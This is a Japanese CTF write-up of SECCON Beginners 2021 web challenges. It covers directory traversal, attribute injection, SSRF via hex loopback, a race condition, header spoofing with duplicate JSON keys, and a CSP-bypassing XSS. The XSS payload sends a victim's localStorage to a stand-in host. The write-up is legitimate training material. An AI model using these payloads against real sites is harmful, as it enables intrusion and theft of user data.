LoginSignup
2
1

More than 1 year has passed since last update.

SECCON Beginners 2021 Writeup

Last updated at Posted at 2021-05-23

PikaPikaYadonというチーム名で参加しました。
Webばかりやっています。

web

osoba

美味しいお蕎麦を食べたいですね。フラグはサーバの /flag にあります!
https://osoba.quals.beginners.seccon.jp/

念のため https://osoba.quals.beginners.seccon.jp/flag にアクセスしてもフラグは無い。

適当なリンクを開くと、クエリパラメータにパスらしきものが確認できる。
問題文から、サーバのルートディレクトリを掘ればいいと推測できるので、https://osoba.quals.beginners.seccon.jp/?page=../../../../../../../../../../../../../../../../flagなどでディレクトリトラバーサルする。

ctf4b{omisoshiru_oishi_keredomo_tsukuruno_taihen}

Werewolf

I wish I could play as a werewolf...

https://werewolf.quals.beginners.seccon.jp/

POSTした結果、WEREWOLFとなることが目標。

配布されているapp.pyではWEREWOLFが抽選の対象から外れており、しかもroleプロパティにsetterが無い状態となっている。
ユーザー入力をすべてplayer.__dict__に入力しているため、抽選の結果に関わらず入力でWEREWOLFを入れ込めばよい。

Pythonでは、プライベート変数の代替機能としてアンダースコア2つ__をアタマに着けたメンバ名は、クラスの外側からは_<CLASSNAME>__<MEMBERNAME>のようにしないとアクセスできない機能がある。
今回のプログラムでは抽選結果を__roleに保持しているため、_Player__roleWEREWOLFが入るようPOSTしてやればよい。

curl -X POST -F '_Player__role=WEREWOLF' https://werewolf.quals.beginners.seccon.jp/

ctf4b{there_are_so_many_hackers_among_us}

check_url

Have you ever used curl ?
https://check-url.quals.beginners.seccon.jp/

urlパラメータに渡したurlにサーバがcurlしてくれるのでウマいことループバックアドレスを渡す。

  • 127.0.0.1
  • localhost

は使えないので別の方法を探す必要がある。
IPv6の::1を試してみるも失敗。

チームに助けを求めたところ、0x7f000001で行けたと教えてくれた。
要するに、10進表記の127.0.0.1を16進数表記したものらしい。

本当にありがとうございます。

ctf4b{5555rf_15_53rv3r_51d3_5up3r_54n171z3d_r3qu357_f0r63ry}

cant_use_db

Can't use DB.
I have so little money that I can't even buy the ingredients for ramen.
🍜
https://cant-use-db.quals.beginners.seccon.jp/

少ない所持金額をごまかして麺2杯とスープを手に入れよう。
コードを見てみると、タイトルの通りDBを使わずユーザーごとに別のファイルでデータを保存している。

謎のtime.sleepがあった後に所持金が差し引かれるので、この時間内に短く発注することで要件を満たす買い物が出来る。
初期の所持金は20000、麺が10000、スープが20000で、それぞれ発注時に所持金よりも少なかった場合はじかれてしまう。
タブを複数開いた場合でもWalletは引き継がれる。

タブを3つ開き、それぞれのタブで
1. スープ
2. 麺
3. 麺
の順で素早く購入することで、全てを入手することが出来る。

time.sleepは実世界ではクレジットカードの決済などに対応している?生々しくてこわいですね。。。

ctf4b{r4m3n_15_4n_3553n714l_d15h_f0r_h4ck1n6}

json

外部公開されている社内システムを見つけました。このシステムからFlagを取り出してください。

https://json.quals.beginners.seccon.jp/

問題は2段階に分かれる。まずはIPアドレスによる制限をかいくぐり、リクエストの制限も突破する必要がある。

まずは素直にPOSTしてみると、IPアドレスが外だよ~と怒られる。
配布されているファイルを見ると、内部の別のサーバーにリダイレクトしており、これを利用してローカルからのリクエストであるかのように見せかければよさそうである。

default.confを見ると、以下のような記述がある。

default.conf
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for

この$proxy_add_x_forewarded_forという変数らしきものには、

  • リクエストにX-Forwarded-Forヘッダが設定されていればその値
  • でなければリクエスト元のIPアドレス

が代入されるらしいので、curlなら-H 'X-Forwarded-For: 192.168.111.1'などをやる。

すると、レスポンスが下のようになってうれしい。第一関門突破。

{"error":"Invalid parameter."}

api/main.goを読むと、{"id": 2}な感じにするとflagがとれそうであるが、その前に立ちはだかるbff/main.goが要求をはじいてしまう。
goは静的な型付けの言語なので文字列として渡してみてもパースの際にバレてしまう。

ここからはよくわかっていないのだが、{"id": 2, "id": 0}みたいにキーをだぶらせた場合、無事にflagをとれた。

恐らく、パーサの仕様的に、json.Unmarshalは先にある値を、jsonparser.GetIntは後にある値を取ってくるようになっていためと考えられる。

同じパーサをつかおうね

最終的なコマンドは以下の通り。

curl -X POST -H 'X-Forwarded-For: 192.168.111.1' -d '{"id": 2, "id": 0}' 'https://json.quals.beginners.seccon.jp/'

ctf4b{j50n_is_v4ry_u5efu1_bu7_s0metim3s_it_bi7es_b4ck}

magic

トリックを見破れますか?

https://magic.quals.beginners.seccon.jp/

メモアプリの脆弱性を突くぞ

コードを見ると、crawl.jsの中にflagに関する記述が見つかる。
また、app.jsを読み進めていくと、/reportで送られてきたURLにcrawl.jsが来てくれるとわかる。

crawl.jsの挙動は次の通り。

  1. adminとしてログインする。
  2. ログイン後のメモ画面にflagを入力する。 (この時サーバーに送信はしない。)
  3. ユーザーから送られてきたURLを踏む。

他にも以下の特徴がわかる。

  • 発行されたトークンを含むURLを辿ることでユーザー名/パスワードの認証をパスできる機能がある。
  • memoにはhtmlを埋め込ませることが出来る。
    • ただし、スクリプトの埋め込みはContent-Security-Policyヘッダで制限されている。
    • スクリプトの実行は同一ドメイン内のコンテンツに限定される。
  • memo入力欄への入力は、フォーカスが外れた際にLocal Storageに保存され、保持される。

以上より、

  1. localStorageを抜くスクリプトを用意する
  2. 1を頑張ってXSSできるようにする
  3. /reportでおくりつける

の手順で行けそうな気がしてくる。

1.についてはいつも通りという感じだが、問題なのが2番。

前述の通りContent-Security-Policyヘッダのせいで<script>alert()</script><img src="hoge" onerror="alert()">などによるスクリプトの注入がしにくくなっている。nonceを使っていた場合などはこれを奪取する手口があるらしい1が、今回は該当しない。

ここで格闘すること数時間。Web技術のセキュリティが憎くなります。

ユーザー入力できそうなところを見ていくと、memo以外にもmagic-linkのURLhttps://magic.quals.beginners.seccon.jp/magic?token=...でtokenが不正だった際の処理には.ejsではなく、HTMLのエンティティを置換したほぼ生のデータを返していることがわかる。

置換されないよう?token=にスクリプトを与え、magicへのURLを<script>srcとして与えてやればスクリプトを注入できそう。

例えばhttps://magic.quals.beginners.seccon.jp/magic?token=alert()//にアクセスしてみると、

alert()// is invalid token.

となり、Javascriptとして評価できる。

XSSの転送先としてURLを与える際、"'などはエスケープされてしまうため、 テンプレートリテラル`をつかうとイイと思った。

下記のようなコードをmemoとしてセーブする。

と、アクセスすると自動的にlocalStorageが送信されるようになる。

<script src="/magic?token=fetch(`https://bad.example.com/?hoge=${localStorage.getItem(`memo`)}`)//"></script>

自分のmagic-linkを/reportで送ってやるとadminがlocalStorageを教えてくれて嬉しい。

ctf4b{w0w_y0ur_skil1ful_3xploi7_c0de_1s_lik3_4_ma6ic_7rick}

2
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
1